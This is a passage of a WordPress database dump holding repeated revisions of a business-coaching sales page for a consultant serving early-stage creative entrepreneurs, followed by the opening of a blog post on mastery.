help you get to where you want to go?\r\n\r\nHere’s my two-word answer: clarity and confidence.\r\n\r\nYou don’t want a consultant. You want clarity to lock onto a big vision for your future, and the confidence to pursue it with passion and discipline. I can help you get “there” by keeping you in the right frame of mind now to creative and innovate the type of business that gives you far more energy than what it takes from you. I can help you build a foundation for your business success that provides you with joy, freedom, fulfillment, deep satisfaction, and financial success!\r\n<h2><span style="color: #ff6600;">Send me email: <a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a> </span></h2>\r\n<strong>Briefly outline your current business circumstances, and what your expectations are for a positive outcome from working together. From there, we can arrange a telephone conversation to determine if there''s a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closer to realizing your vision for your bigger future.</strong>\r\n<p style="color: #ff6600;"><strong><span style="color: #ff6600;">I am looking forward to working with you.</span></strong></p>', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2012-05-10 15:59:02', '2012-05-10 22:59:02', '', 138, 'http://www.whitehotcenter.com/2012/05/138-revision-180/', 0, 'revision', '', 0),
(2252, 2, '2013-05-20 12:12:02', '2013-05-20 19:12:02', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" /></h2>\r\n<h2><strong style="color: #ff6600;">In one-on-one and in group workshop settings, I work exclusively with early stage creative entrepreneurs and solo professionals to inspire, guide and create ideas to help them gain greater clarity and confidence to pursue their best opportunities to have more impact, influence and income. </strong></h2>\r\n<strong>My clients are CEO''s and their teams in early stage and emerging companies across diverse product and service categories.</strong><strong> I offer issue-based consulting in professional development, marketing, communications and  business development strategies to guide you and your team to focus on new ideas and tactics to master the inner game (creative plane), and outer game (physical plane) of business (and life) success in four essential disciplines:</strong>\r\n\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, your effectiveness, and your contributions to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision for your total life/business experience based solely on what truly matters to you, leverages your unique talents, and brings you greater joy, fulfillment and deep satisfaction.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and competitive advantage through sales, marketing, business development and communication strategies that position your business as highly valued by the best customers and clients, and removes you from the slush pile of competitors.\r\n\r\n<strong>Three decades of business development expertise.</strong>\r\n\r\n<strong> </strong>I know first-hand the focus and discipline necessary to successfully attract, develop and serve high value clients and customers that represent a bigger future doing the type of work that matters to you and creates sustained financial success. I also know from my own experience the daily challenges and struggles with value creation , business development, managing client/customer expectations, managing staff and collaborators that face all creative entrepreneurs along their way to building a business that brings you joy, deep personal satisfaction and sustanable profit.\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>Quantum Leap\r\nBusiness Development Consulting</h2>\r\nConsulting and coaching tailored to the specific needs of forward thinking, early-stage creative entrepreneurs  who want to be more effective in every aspect of their personal and professional life. Through insight, guidance and creativity, I''ll help you focus on your best opportunities, leverage your personal strtengths and effectiveness, and gain more clarity and confidence by an order of magnitude to make a quantum leap in your business development success.\r\n\r\n<strong>This consulting program is designed to help those entrepreneurs currently generating at least $150,000 in annual gross revenue.</strong>\r\n\r\nYou shouldn’t be surprised to learn that peak performance and unconventional success will require unconventional thinking. Quantum leaps require the type of thinking that removes the safety and security of your current beliefs so you can accelerate your rate of achievement.  I''ll help you to kick up your game!  (and be the kick in ass when required).  I''ll work with you (and your team) to shift your thinking from limits and obstacles to potential and possibilities. I can help increase your awareness, clarity and confidence to pursue your best opportunities to experience your bigger, better future.\r\n\r\n<strong>On-going business development and management consulting that will inspire you to increase the quality of your presence in every aspect of your business and life success, and provide tools and maps to help you get there. Our consulting format is highly flexible, (and virtual) involving weekly personal and online interaction that will enable you to laser focus on innovative ideas and practices to make a quantum leap to your next level of business and life success.\r\n</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Investment: $1,500 USD, monthly with a 3-month minimum engagement\r\n</strong></span>\r\n<h1><span style="color: #ff6600;"><strong><img class="alignnone size-full wp-image-2248" title="Thomson Dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/04/wild-thomson.250.jpg" alt="Business Transformation Consultant" width="250" height="195" /></strong></span></h1>\r\n<strong>Thomson Dawson</strong>\r\n<strong> Business Transformation Consultant to Early Stage Creative Entrepreneurs</strong>\r\n<h2><strong>Why work with me?</strong></h2>\r\nEvery business development consultant will offer you the benefits of their personal experience and advice from the trenches. That’s a given and I’m no different. However, what distinguishes my work from other consultants is my sole focus on business transformation– guiding you to breakthroughs to your next level of success and providing the tools necessary for  you to attract and retain higher value clients!\r\n\r\nAs a creative entrepreneur and marketing professional, I’ve sold in millions of dollars of revenue from thousands of projects in my own creative business. I know what it takes to create new business from scratch without the benefits of referrals and buddies in the right places.\r\n\r\nI know how long the sales cycle really is, and how frustrating generating prospects and sales conversation are for early stage entreprenuers. I know the challenges involved selling in your ideas and developing proposals that win business. I also know the pressure of meeting a payroll every week.\r\n\r\nRunning your own show has its challenges particularly at the early-stages of your business growth. I’ve been there–but so what? How will that help you get to where you want to go?\r\n\r\n<strong>Here’s my two-word answer: clarity and confidence.</strong>\r\n\r\nMy clients want clarity to lock onto a big vision for your future, and the confidence to pursue the right action with passion and discipline. I can help you get “there” by keeping you in the right frame of mind to creative and innovate the type of business that gives you far more energy than what it takes from you. I can help you build a foundation for your business success that provides you with joy, freedom, fulfillment, deep satisfaction, and financial success!\r\n<h2><a title="Getting my business to the next level!" href="mailto://thomson@whitehotcenter.com" target="_blank"><span style="color: #ff6600;">Send me an email! </span></a></h2>\r\n<strong>Briefly outline your current business circumstances, and what your expectations are for a positive outcome from working together. From there, we can arrange a telephone conversation to determine if there''s a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closer to realizing your vision for your bigger future.</strong>\r\n<p style="color: #ff6600;"><strong><span style="color: #ff6600;">I am looking forward to working with you.</span></strong></p>', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2013-05-20 12:12:02', '2013-05-20 19:12:02', '', 138, 'http://www.whitehotcenter.com/2013/05/138-revision-183/', 0, 'revision', '', 0),
(2250, 2, '2013-05-20 11:56:56', '2013-05-20 18:56:56', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" /></h2>\r\n<h2><strong style="color: #ff6600;">In one-on-one and in group workshop settings, I work exclusively with early stage creative entrepreneurs and solo professionals to inspire, guide and create ideas to help them gain greater clarity and confidence to pursue their best opportunities to have more impact, influence and income. </strong></h2>\r\n<strong>My clients are CEO''s and their teams in early stage and emerging companies across diverse product and service categories.</strong><strong> I offer issue-based consulting in professional development, marketing, communications and  business development strategies to guide you and your team to focus on new ideas and tactics to master the inner game (creative plane), and outer game (physical plane) of business (and life) success in four essential disciplines:</strong>\r\n\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, your effectiveness, and your contributions to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision for your total life/business experience based solely on what truly matters to you, leverages your unique talents, and brings you greater joy, fulfillment and deep satisfaction.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and competitive advantage through sales, marketing, business development and communication strategies that position your business as highly valued by the best customers and clients, and removes you from the slush pile of competitors.\r\n\r\n<strong>Three decades of business development expertise.</strong>\r\n\r\n<strong> </strong>I know first-hand the focus and discipline necessary to successfully attract, develop and serve high value clients and customers that represent a bigger future doing the type of work that matters to you and creates sustained financial success. I also know from my own experience the daily challenges and struggles with value creation , business development, managing client/customer expectations, managing staff and collaborators that face all creative entrepreneurs along their way to building a business that brings you joy, deep personal satisfaction and sustanable profit.\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>Quantum Leap\r\nBusiness Development Consulting</h2>\r\nConsulting and coaching tailored to the specific needs of  forward thinking, early-stage creative entrepreneurs  who want to be more effective in every aspect of their personal and professional life. Through insight, guidance and creativity, I''ll help you focus on your best opportunities, leverage your personal strtengths and effectiveness, and gain more clarity and confidence by an order of magnitude to make a quantum leap in your business development success.\r\n\r\n<strong>This consulting program is designed to help those entrepreneurs currently generating at least $150,000 in annual gross revenue.</strong>\r\n\r\nYou shouldn’t be surprised to learn that peak performance and unconventional success will require unconventional thinking. Quantum leaps require the type of thinking that removes the safety and security of your current beliefs so you can accelerate your rate of achievement.  I''ll help you to kick up your game!  (and be the kick in ass when required).  I''ll work with you (and your team) to shift your thinking from limits and obstacles to potential and possibilities. I can help increase your awareness, clarity and confidence to pursue your best opportunities to experience your bigger, better future.\r\n\r\n<strong>On-going business development and management consulting that will inspire you to increase the quality of your presence in every aspect of your business and life success, and provide tools and maps to help you get there. Our consulting format is highly flexible, (and virtual) involving weekly personal and online interaction that will enable you to laser focus on innovative ideas and practices to make a quantum leap to your next level of business and life success.\r\n</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Investment: $1,500 USD, monthly with a 3-month minimum engagement\r\n</strong></span>\r\n<h1><span style="color: #ff6600;"><strong><img class="alignnone size-full wp-image-2248" title="Thomson Dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/04/wild-thomson.250.jpg" alt="Business Transformation Consultant" width="250" height="195" /></strong></span><span style="color: #ff6600;"><span style="color: #333333;">Start the burn!</span></span><strong></strong></h1>\r\n<strong>Why work with me?</strong>\r\n\r\nEvery business development consultant will offer you the benefits of their personal experience and advice from the trenches. That’s a given and I’m no different. However, what distinguishes my work from other consultants is my sole focus on business transformation– guiding you to breakthroughs to your next level of success and providing the tools necessary for  you to attract and retain higher value clients!\r\n\r\nAs a creative entrepreneur and marketing professional, I’ve sold in millions of dollars of revenue from thousands of projects in my own creative business. I know what it takes to create new business from scratch without the benefits of referrals and buddies in the right places.\r\n\r\nI know how long the sales cycle really is, and how frustrating generating prospects and sales conversation are for early stage entreprenuers. I know the challenges involved selling in your ideas and developing proposals that win business. I also know the pressure of meeting a payroll every week.\r\n\r\nRunning your own show has its challenges particularly at the early-stages of your business growth. I’ve been there–but so what? How will that help you get to where you want to go?\r\n\r\nHere’s my two-word answer: clarity and confidence.\r\n\r\nYou don’t want a consultant. You want clarity to lock onto a big vision for your future, and the confidence to pursue it with passion and discipline. I can help you get “there” by keeping you in the right frame of mind now to creative and innovate the type of business that gives you far more energy than what it takes from you. I can help you build a foundation for your business success that provides you with joy, freedom, fulfillment, deep satisfaction, and financial success!\r\n<h2><a title="Getting my business to the next level!" href="mailto://thomson@whitehotcenter.com" target="_blank"><span style="color: #ff6600;">Send me an email! </span></a></h2>\r\n<strong>Briefly outline your current business circumstances, and what your expectations are for a positive outcome from working together. From there, we can arrange a telephone conversation to determine if there''s a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closer to realizing your vision for your bigger future.</strong>\r\n<p style="color: #ff6600;"><strong><span style="color: #ff6600;">I am looking forward to working with you.</span></strong></p>\r\n<p style="color: #ff6600;">Thomson Dawson\r\nBusiness Transformation Consultant to Early Stage Creative Entrepreneurs</p>', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2013-05-20 11:56:56', '2013-05-20 18:56:56', '', 138, 'http://www.whitehotcenter.com/2013/05/138-revision-181/', 0, 'revision', '', 0),
(2251, 2, '2013-05-20 12:11:41', '2013-05-20 19:11:41', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" /></h2>\r\n<h2><strong style="color: #ff6600;">In one-on-one and in group workshop settings, I work exclusively with early stage creative entrepreneurs and solo professionals to inspire, guide and create ideas to help them gain greater clarity and confidence to pursue their best opportunities to have more impact, influence and income. </strong></h2>\r\n<strong>My clients are CEO''s and their teams in early stage and emerging companies across diverse product and service categories.</strong><strong> I offer issue-based consulting in professional development, marketing, communications and  business development strategies to guide you and your team to focus on new ideas and tactics to master the inner game (creative plane), and outer game (physical plane) of business (and life) success in four essential disciplines:</strong>\r\n\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, your effectiveness, and your contributions to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision for your total life/business experience based solely on what truly matters to you, leverages your unique talents, and brings you greater joy, fulfillment and deep satisfaction.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and competitive advantage through sales, marketing, business development and communication strategies that position your business as highly valued by the best customers and clients, and removes you from the slush pile of competitors.\r\n\r\n<strong>Three decades of business development expertise.</strong>\r\n\r\n<strong> </strong>I know first-hand the focus and discipline necessary to successfully attract, develop and serve high value clients and customers that represent a bigger future doing the type of work that matters to you and creates sustained financial success. I also know from my own experience the daily challenges and struggles with value creation , business development, managing client/customer expectations, managing staff and collaborators that face all creative entrepreneurs along their way to building a business that brings you joy, deep personal satisfaction and sustanable profit.\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>Quantum Leap\r\nBusiness Development Consulting</h2>\r\nConsulting and coaching tailored to the specific needs of forward thinking, early-stage creative entrepreneurs  who want to be more effective in every aspect of their personal and professional life. Through insight, guidance and creativity, I''ll help you focus on your best opportunities, leverage your personal strtengths and effectiveness, and gain more clarity and confidence by an order of magnitude to make a quantum leap in your business development success.\r\n\r\n<strong>This consulting program is designed to help those entrepreneurs currently generating at least $150,000 in annual gross revenue.</strong>\r\n\r\nYou shouldn’t be surprised to learn that peak performance and unconventional success will require unconventional thinking. Quantum leaps require the type of thinking that removes the safety and security of your current beliefs so you can accelerate your rate of achievement.  I''ll help you to kick up your game!  (and be the kick in ass when required).  I''ll work with you (and your team) to shift your thinking from limits and obstacles to potential and possibilities. I can help increase your awareness, clarity and confidence to pursue your best opportunities to experience your bigger, better future.\r\n\r\n<strong>On-going business development and management consulting that will inspire you to increase the quality of your presence in every aspect of your business and life success, and provide tools and maps to help you get there. Our consulting format is highly flexible, (and virtual) involving weekly personal and online interaction that will enable you to laser focus on innovative ideas and practices to make a quantum leap to your next level of business and life success.\r\n</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Investment: $1,500 USD, monthly with a 3-month minimum engagement\r\n</strong></span>\r\n<h1><span style="color: #ff6600;"><strong><img class="alignnone size-full wp-image-2248" title="Thomson Dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/04/wild-thomson.250.jpg" alt="Business Transformation Consultant" width="250" height="195" /></strong></span></h1>\r\n<strong>Thomson Dawson</strong>\r\n<strong> Business Transformation Consultant to Early Stage Creative Entrepreneurs</strong>\r\n<h2><strong>Why work with me?</strong></h2>\r\nEvery business development consultant will offer you the benefits of their personal experience and advice from the trenches. That’s a given and I’m no different. However, what distinguishes my work from other consultants is my sole focus on business transformation– guiding you to breakthroughs to your next level of success and providing the tools necessary for  you to attract and retain higher value clients!\r\n\r\nAs a creative entrepreneur and marketing professional, I’ve sold in millions of dollars of revenue from thousands of projects in my own creative business. I know what it takes to create new business from scratch without the benefits of referrals and buddies in the right places.\r\n\r\nI know how long the sales cycle really is, and how frustrating generating prospects and sales conversation are for early stage entreprenuers. I know the challenges involved selling in your ideas and developing proposals that win business. I also know the pressure of meeting a payroll every week.\r\n\r\nRunning your own show has its challenges particularly at the early-stages of your business growth. I’ve been there–but so what? How will that help you get to where you want to go?\r\n\r\n<strong>Here’s my two-word answer: clarity and confidence.</strong>\r\n\r\nMy clients want clarity to lock onto a big vision for your future, and the confidence to pursue the right action with passion and discipline. I can help you get “there” by keeping you in the right frame of mind to creative and innovate the type of business that gives you far more energy than what it takes from you. I can help you build a foundation for your business success that provides you with joy, freedom, fulfillment, deep satisfaction, and financial success!\r\n<h2><a title="Getting my business to the next level!" href="mailto://thomson@whitehotcenter.com" target="_blank"><span style="color: #ff6600;">Send me an email! </span></a></h2>\r\n<strong>Briefly outline your current business circumstances, and what your expectations are for a positive outcome from working together. From there, we can arrange a telephone conversation to determine if there''s a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closer to realizing your vision for your bigger future.</strong>\r\n<p style="color: #ff6600;"><strong><span style="color: #ff6600;">I am looking forward to working with you.</span></strong></p>\r\n<p style="color: #ff6600;"><strong>Thomson Dawson</strong>\r\n<strong> Business Transformation Consultant to Early Stage Creative Entrepreneurs</strong></p>', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2013-05-20 12:11:41', '2013-05-20 19:11:41', '', 138, 'http://www.whitehotcenter.com/2013/05/138-revision-182/', 0, 'revision', '', 0);
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(2253, 2, '2013-05-20 12:14:04', '2013-05-20 19:14:04', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" /></h2>\r\n<h2><strong style="color: #ff6600;">In one-on-one and in group workshop settings, I work exclusively with early stage creative entrepreneurs and solo professionals to inspire, guide and create ideas to help them gain greater clarity and confidence to pursue their best opportunities to have more impact, influence and income. </strong></h2>\r\n<strong>My clients are CEO''s and their teams in early stage and emerging companies across diverse product and service categories.</strong><strong> I offer issue-based consulting in professional development, marketing, communications and  business development strategies to guide you and your team to focus on new ideas and tactics to master the inner game (creative plane), and outer game (physical plane) of business (and life) success in four essential disciplines:</strong>\r\n\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, your effectiveness, and your contributions to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision for your total life/business experience based solely on what truly matters to you, leverages your unique talents, and brings you greater joy, fulfillment and deep satisfaction.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and competitive advantage through sales, marketing, business development and communication strategies that position your business as highly valued by the best customers and clients, and removes you from the slush pile of competitors.\r\n\r\n<strong>Three decades of business development expertise.</strong>\r\n\r\n<strong> </strong>I know first-hand the focus and discipline necessary to successfully attract, develop and serve high value clients and customers that represent a bigger future doing the type of work that matters to you and creates sustained financial success. I also know from my own experience the daily challenges and struggles with value creation , business development, managing client/customer expectations, managing staff and collaborators that face all creative entrepreneurs along their way to building a business that brings you joy, deep personal satisfaction and sustanable profit.\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>Quantum Leap\r\nBusiness Development Consulting</h2>\r\nConsulting and coaching tailored to the specific needs of forward thinking, early-stage creative entrepreneurs  who want to be more effective in every aspect of their personal and professional life. Through insight, guidance and creativity, I''ll help you focus on your best opportunities, leverage your personal strtengths and effectiveness, and gain more clarity and confidence by an order of magnitude to make a quantum leap in your business development success.\r\n\r\n<strong>This consulting program is designed to help those entrepreneurs currently generating at least $150,000 in annual gross revenue.</strong>\r\n\r\nYou shouldn’t be surprised to learn that peak performance and unconventional success will require unconventional thinking. Quantum leaps require the type of thinking that removes the safety and security of your current beliefs so you can accelerate your rate of achievement.  I''ll help you to kick up your game!  (and be the kick in ass when required).  I''ll work with you (and your team) to shift your thinking from limits and obstacles to potential and possibilities. I can help increase your awareness, clarity and confidence to pursue your best opportunities to experience your bigger, better future.\r\n\r\n<strong>On-going business development and management consulting that will inspire you to increase the quality of your presence in every aspect of your business and life success, and provide tools and maps to help you get there. Our consulting format is highly flexible, (and virtual) involving weekly personal and online interaction that will enable you to laser focus on innovative ideas and practices to make a quantum leap to your next level of business and life success.\r\n</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Investment: $1,500 USD, monthly with a 3-month minimum engagement\r\n</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong><img class="alignnone size-full wp-image-2248" title="Thomson Dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/04/wild-thomson.250.jpg" alt="Business Transformation Consultant" width="250" height="195" /></strong></span><strong>Thomson Dawson</strong><strong>\r\nBusiness Transformation Consultant\r\nto Early Stage Creative Entrepreneurs</strong>\r\n<h2><strong>Why work with me?</strong></h2>\r\nEvery business development consultant will offer you the benefits of their personal experience and advice from the trenches. That’s a given and I’m no different. However, what distinguishes my work from other consultants is my sole focus on business transformation– guiding you to breakthroughs to your next level of success and providing the tools necessary for  you to attract and retain higher value clients!\r\n\r\nAs a creative entrepreneur and marketing professional, I’ve sold in millions of dollars of revenue from thousands of projects in my own creative business. I know what it takes to create new business from scratch without the benefits of referrals and buddies in the right places.\r\n\r\nI know how long the sales cycle really is, and how frustrating generating prospects and sales conversation are for early stage entreprenuers. I know the challenges involved selling in your ideas and developing proposals that win business. I also know the pressure of meeting a payroll every week.\r\n\r\nRunning your own show has its challenges particularly at the early-stages of your business growth. I’ve been there–but so what? How will that help you get to where you want to go?\r\n\r\n<strong>Here’s my two-word answer: clarity and confidence.</strong>\r\n\r\nMy clients want clarity to lock onto a big vision for your future, and the confidence to pursue the right action with passion and discipline. I can help you get “there” by keeping you in the right frame of mind to creative and innovate the type of business that gives you far more energy than what it takes from you. I can help you build a foundation for your business success that provides you with joy, freedom, fulfillment, deep satisfaction, and financial success!\r\n<h2><a title="Getting my business to the next level!" href="mailto://thomson@whitehotcenter.com" target="_blank"><span style="color: #ff6600;">Send me an email! </span></a></h2>\r\n<strong>Briefly outline your current business circumstances, and what your expectations are for a positive outcome from working together. From there, we can arrange a telephone conversation to determine if there''s a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closer to realizing your vision for your bigger future.</strong>\r\n<p style="color: #ff6600;"><strong><span style="color: #ff6600;">I am looking forward to working with you.</span></strong></p>', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2013-05-20 12:14:04', '2013-05-20 19:14:04', '', 138, 'http://www.whitehotcenter.com/2013/05/138-revision-184/', 0, 'revision', '', 0),
(2254, 2, '2013-05-20 12:16:07', '2013-05-20 19:16:07', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" /></h2>\r\n<h2><strong style="color: #ff6600;">In one-on-one and in group workshop settings, I work exclusively with early stage creative entrepreneurs and solo professionals to inspire, guide and create ideas to help them gain greater clarity and confidence to pursue their best opportunities to have more impact, influence and income. </strong></h2>\r\n<strong>My clients are CEO''s and their teams in early stage and emerging companies across diverse product and service categories.</strong><strong> I offer issue-based consulting in professional development, marketing, communications and  business development strategies to guide you and your team to focus on new ideas and tactics to master the inner game (creative plane), and outer game (physical plane) of business (and life) success in four essential disciplines:</strong>\r\n\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, your effectiveness, and your contributions to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision for your total life/business experience based solely on what truly matters to you, leverages your unique talents, and brings you greater joy, fulfillment and deep satisfaction.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and competitive advantage through sales, marketing, business development and communication strategies that position your business as highly valued by the best customers and clients, and removes you from the slush pile of competitors.\r\n\r\n<strong>Three decades of business development expertise.</strong>\r\n\r\n<strong> </strong>I know first-hand the focus and discipline necessary to successfully attract, develop and serve high value clients and customers that represent a bigger future doing the type of work that matters to you and creates sustained financial success. I also know from my own experience the daily challenges and struggles with value creation , business development, managing client/customer expectations, managing staff and collaborators that face all creative entrepreneurs along their way to building a business that brings you joy, deep personal satisfaction and sustanable profit.\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>Quantum Leap\r\nBusiness Development Consulting</h2>\r\nConsulting and coaching tailored to the specific needs of forward thinking, early-stage creative entrepreneurs  who want to be more effective in every aspect of their personal and professional life. Through insight, guidance and creativity, I''ll help you focus on your best opportunities, leverage your personal strtengths and effectiveness, and gain more clarity and confidence by an order of magnitude to make a quantum leap in your business development success.\r\n\r\n<strong>This consulting program is designed to help those entrepreneurs currently generating at least $150,000 in annual gross revenue.</strong>\r\n\r\nYou shouldn’t be surprised to learn that peak performance and unconventional success will require unconventional thinking. Quantum leaps require the type of thinking that removes the safety and security of your current beliefs so you can accelerate your rate of achievement.  I''ll help you to kick up your game!  (and be the kick in ass when required).  I''ll work with you (and your team) to shift your thinking from limits and obstacles to potential and possibilities. I can help increase your awareness, clarity and confidence to pursue your best opportunities to experience your bigger, better future.\r\n\r\n<strong>On-going business development and management consulting that will inspire you to increase the quality of your presence in every aspect of your business and life success, and provide tools and maps to help you get there. Our consulting format is highly flexible, (and virtual) involving weekly personal and online interaction that will enable you to laser focus on innovative ideas and practices to make a quantum leap to your next level of business and life success.\r\n</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Investment: $1,500 USD, monthly with a 3-month minimum engagement\r\n</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong><img class="alignnone size-full wp-image-2248" title="Thomson Dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/04/wild-thomson.250.jpg" alt="Business Transformation Consultant" width="250" height="195" /></strong></span><strong>Thomson Dawson</strong><strong>\r\nBusiness Transformation Consultant\r\nto Early Stage Creative Entrepreneurs</strong>\r\n<h2><strong>Why work with me?</strong></h2>\r\nEvery business development consultant will offer you the benefits of their personal experience and advice from the trenches. That’s a given and I’m no different. However, what distinguishes my work from other consultants is my sole focus on business transformation– guiding you to breakthroughs to your next level of success and providing the tools necessary for you to attract and retain higher value clients and customers!\r\n\r\nAs a creative entrepreneur and marketing professional, I’ve sold in millions of dollars of revenue from thousands of projects in my own creative business. I know what it takes to create new business from scratch without the benefits of referrals and buddies in the right places.\r\n\r\nI know how long the sales cycle really is, and how frustrating generating prospects and sales conversation are for early stage entreprenuers. I know the challenges involved selling in your ideas and developing proposals that win business. I also know the pressure of meeting a payroll every week.\r\n\r\nRunning your own show has its challenges particularly at the early-stages of your business growth. I’ve been there–but so what? How will that help you get to where you want to go?\r\n\r\n<strong>Here’s my two-word answer: clarity and confidence.</strong>\r\n\r\nMy clients want clarity to lock onto a big vision for your future, and the confidence to pursue the right action with passion and discipline. I can help you get “there” by keeping you in the right frame of mind to creative and innovate the type of business that gives you far more energy than what it takes from you. I can help you build a foundation for your business success that provides you with joy, freedom, fulfillment, deep satisfaction, and financial success!\r\n<h2><a title="Getting my business to the next level!" href="mailto://thomson@whitehotcenter.com" target="_blank"><span style="color: #ff6600;">Send me an email! </span></a></h2>\r\n<strong>Briefly outline your current business circumstances, and what your expectations are for a positive outcome from working together. From there, we can arrange a telephone conversation to determine if there''s a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closer to realizing your vision for your bigger future.</strong>\r\n<p style="color: #ff6600;"><strong><span style="color: #ff6600;">I am looking forward to working with you.</span></strong></p>', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2013-05-20 12:16:07', '2013-05-20 19:16:07', '', 138, 'http://www.whitehotcenter.com/2013/05/138-revision-185/', 0, 'revision', '', 0),
(2307, 2, '2013-05-28 12:52:57', '2013-05-28 19:52:57', '<img class="alignnone size-full wp-image-2308" title="In Search of Mastery" src="http://whc.fbdev.org/wp-content/uploads/2013/05/Mastery.jpg" alt="" width="495" height="371" />\r\n<h1><span style="color: #808080;">The idea of mastery is an intriguing one. To become a master at your art, your profession, and your business is a level we all aspire to, but there’s more to mastery than putting in your 10,000 hours.</span></h1>\r\nAre you a master? Are you on the path to mastery in whatever is your calling?  More and more entrepreneurs are thinking about mastery these days. As well they should–as mastery is essential for business success in the ultra-competitive global economy we find ourselves in.\r\n\r\nMastery is a trendy topic too. Our popular business literature is full of proclamations of what mastery is and requires of people and organizations. I am particularly amused with the accepted idea that mastery is simply the result of 10,000 hours of practice. After that amount of time invested you’re considered to be a master.  Mastery requires more than investing time because, in itself, it’s timeless.\r\n\r\nHow much time does it take to be a master at living your life on your terms?\r\n\r\nI certainly have spent significantly longer than 10,000 hours learning about that.  Mastery of one''s own life is life’s work and there is no limit to your potential level of mastery- it’s going to take an entire lifetime.\r\n\r\n<strong>Claiming your own mastery is risky business – but do it anyway! </strong>\r\n\r\nThe trouble with our culture is if you self-proclaim your mastery, you run the risk of others judging you as nothing more than a master of your own conceit. History has many examples of the fates of self-proclaimed “masters”. The conventional wisdom of cultures down through the ages has demonstrated little tolerance for such people. Consequently people have little incentive to become masters of 